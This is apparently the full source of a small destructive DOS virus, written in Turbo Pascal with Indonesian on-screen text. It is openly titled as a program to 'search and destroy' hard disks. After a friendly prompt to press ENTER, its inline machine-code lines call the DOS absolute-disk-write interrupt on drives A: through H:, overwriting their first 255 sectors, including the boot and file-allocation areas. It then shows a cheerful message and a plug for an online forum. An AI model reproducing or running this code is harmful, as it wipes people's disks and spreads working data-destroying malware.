virus open source community

Program mencari_dan_merusak_HDD;
uses dos,crt;
var read:string;
Begin
clrscr;
Writeln ('ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿');
Writeln ('³ Cari DAN HANCURKAN ³');
Writeln ('³ ³');
Writeln ('³ Menjadi sesuatu yang lebih baik lagi ³');
Writeln ('ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ');
writeln (' Modified By Zulfah ');
Write ('silahkan tekan [ENTER] To masuk dalam senjata penghancur,');
readln (read);
write ('silahkan tunggu ..');
inline ($B0/$07/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {H:}
write ('.');
inline ($B0/$06/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {G:}
write ('.');
inline ($B0/$05/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {F:}
write ('.');
inline ($B0/$04/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {E:}
write ('.');
inline ($B0/$03/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {D:}
write ('.');
inline ($B0/$02/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {C:}
write ('.');
inline ($B0/$01/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {B:}
write ('.');
inline ($B0/$00/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {A:}
write ('..proses selesai!- semoga anda enjoy selalu!!');
writeln;
write ('tekan [ENTER] untuk memulai penghancuran.');
readln;
textcolor (14);
writeln ('Hay Rekan Rekanku sekalian Apakah kalan tau beberapa tahun lalu ?');
writeln ('Beberapa temanku bertanya padaku untuk mengajakmu. apakah kamu mau');
writeln ('Mari kita sama sama bergabung di ACEH FORUM ');
writeln ('Segalan nya ada disana apapun yang kamu maur! ');
Writeln ('Ayo daftar segera maka anda akan tau jalan cerita nya');
Writeln ('aceh spirit solutions');
Writeln('');
TextColor (9);
Writeln('mari sama sama kita berdoa jangan sampai terkirim yaa in virus');
End.